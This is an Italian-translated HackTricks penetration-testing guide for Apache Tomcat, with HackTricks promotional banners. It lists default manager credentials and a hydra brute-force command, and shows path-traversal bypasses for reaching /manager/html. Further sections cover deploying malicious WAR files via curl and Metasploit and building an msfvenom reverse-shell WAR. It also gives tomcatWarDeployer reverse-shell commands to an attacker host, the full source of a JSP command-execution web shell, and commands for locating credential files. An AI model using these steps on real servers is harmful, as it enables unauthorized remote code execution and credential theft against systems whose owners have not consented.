hacktricks/network-services-pentesting/pentesting-web/tomcat
2024-07-19 04:52:42 +00:00
..
basic-tomcat-info.md Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00
README.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:12:19 +00:00

Tomcat

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}


Discovery

  • Di solito gira sulla porta 8080
  • Errore comune di Tomcat:

Enumeration

Version Identification

Per trovare la versione di Apache Tomcat, può essere eseguita un semplice comando:

curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

Questo cercherà il termine "Tomcat" nella pagina dell'indice della documentazione, rivelando la versione nel tag del titolo della risposta HTML.

Posizione dei file Manager

Identificare le posizioni esatte delle directory /manager e /host-manager è cruciale poiché i loro nomi potrebbero essere alterati. Si consiglia una ricerca brute-force per localizzare queste pagine.

Enumerazione degli username

Per le versioni di Tomcat precedenti alla 6, è possibile enumerare gli username tramite:

msf> use auxiliary/scanner/http/tomcat_enum

Credenziali Predefinite

La directory /manager/html è particolarmente sensibile in quanto consente il caricamento e la distribuzione di file WAR, il che può portare all'esecuzione di codice. Questa directory è protetta da autenticazione HTTP di base, con credenziali comuni che sono:

  • admin:admin
  • tomcat:tomcat
  • admin:
  • admin:s3cr3t
  • tomcat:s3cr3t
  • admin:tomcat

Queste credenziali possono essere testate utilizzando:

msf> use auxiliary/scanner/http/tomcat_mgr_login

Un'altra directory notevole è /manager/status, che visualizza la versione di Tomcat e del sistema operativo, aiutando nell'identificazione delle vulnerabilità.

Attacco Brute Force

Per tentare un attacco brute force sulla directory manager, si può usare:

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

Along with setting various parameters in Metasploit to target a specific host.

Vulnerabilità comuni

Divulgazione della password nel backtrace

Accedere a /auth.jsp può rivelare la password in un backtrace in circostanze fortunate.

Doppia codifica URL

La vulnerabilità CVE-2007-1860 in mod_jk consente la codifica URL doppia per il path traversal, consentendo l'accesso non autorizzato all'interfaccia di gestione tramite un URL appositamente creato.

Per accedere al web di gestione di Tomcat vai a: pathTomcat/%252E%252E/manager/html

/examples

Le versioni di Apache Tomcat da 4.x a 7.x includono script di esempio che sono suscettibili a divulgazione di informazioni e attacchi di cross-site scripting (XSS). Questi script, elencati in modo completo, dovrebbero essere controllati per accessi non autorizzati e potenziale sfruttamento. Trova ulteriori informazioni qui

  • /examples/jsp/num/numguess.jsp
  • /examples/jsp/dates/date.jsp
  • /examples/jsp/snp/snoop.jsp
  • /examples/jsp/error/error.html
  • /examples/jsp/sessions/carts.html
  • /examples/jsp/checkbox/check.html
  • /examples/jsp/colors/colors.html
  • /examples/jsp/cal/login.html
  • /examples/jsp/include/include.jsp
  • /examples/jsp/forward/forward.jsp
  • /examples/jsp/plugin/plugin.jsp
  • /examples/jsp/jsptoserv/jsptoservlet.jsp
  • /examples/jsp/simpletag/foo.jsp
  • /examples/jsp/mail/sendmail.jsp
  • /examples/servlet/HelloWorldExample
  • /examples/servlet/RequestInfoExample
  • /examples/servlet/RequestHeaderExample
  • /examples/servlet/RequestParamExample
  • /examples/servlet/CookieExample
  • /examples/servlet/JndiServlet
  • /examples/servlet/SessionExample
  • /tomcat-docs/appdev/sample/web/hello.jsp

Sfruttamento del Path Traversal

In alcune configurazioni vulnerabili di Tomcat puoi ottenere accesso a directory protette in Tomcat utilizzando il percorso: /..;/

Quindi, ad esempio, potresti essere in grado di accedere alla pagina del manager di Tomcat accedendo a: www.vulnerable.com/lalala/..;/manager/html

Un altro modo per bypassare i percorsi protetti utilizzando questo trucco è accedere a http://www.vulnerable.com/;param=value/manager/html

RCE

Infine, se hai accesso al Tomcat Web Application Manager, puoi caricare e distribuire un file .war (eseguire codice).

Limitazioni

Potrai distribuire un WAR solo se hai sufficienti privilegi (ruoli: admin, manager e manager-script). Questi dettagli possono essere trovati in tomcat-users.xml solitamente definito in /usr/share/tomcat9/etc/tomcat-users.xml (varia tra le versioni) (vedi POST section).

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Metasploit

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

MSFVenom Reverse Shell

  1. Crea il war da distribuire:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
  1. Carica il file revshell.war e accedi ad esso (/revshell/):

Bind e reverse shell con tomcatWarDeployer.py

In alcuni scenari questo non funziona (ad esempio versioni obsolete di sun)

Scarica

git clone https://github.com/mgeeky/tomcatWarDeployer.git

Reverse shell

./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Bind shell

./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Utilizzando Culsterd

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

Metodo manuale - Web shell

Crea index.jsp con questo contenuto:

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

Puoi anche installare questo (consente upload, download ed esecuzione di comandi): http://vonloesch.de/filebrowser.html

Metodo Manuale 2

Ottieni una shell web JSP come questa e crea un file WAR:

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

Il nome del file delle credenziali di Tomcat è tomcat-users.xml

find / -name tomcat-users.xml 2>/dev/null

Altri modi per raccogliere le credenziali di Tomcat:

msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat

Altri strumenti di scansione tomcat

Riferimenti

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

{% hint style="success" %} Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}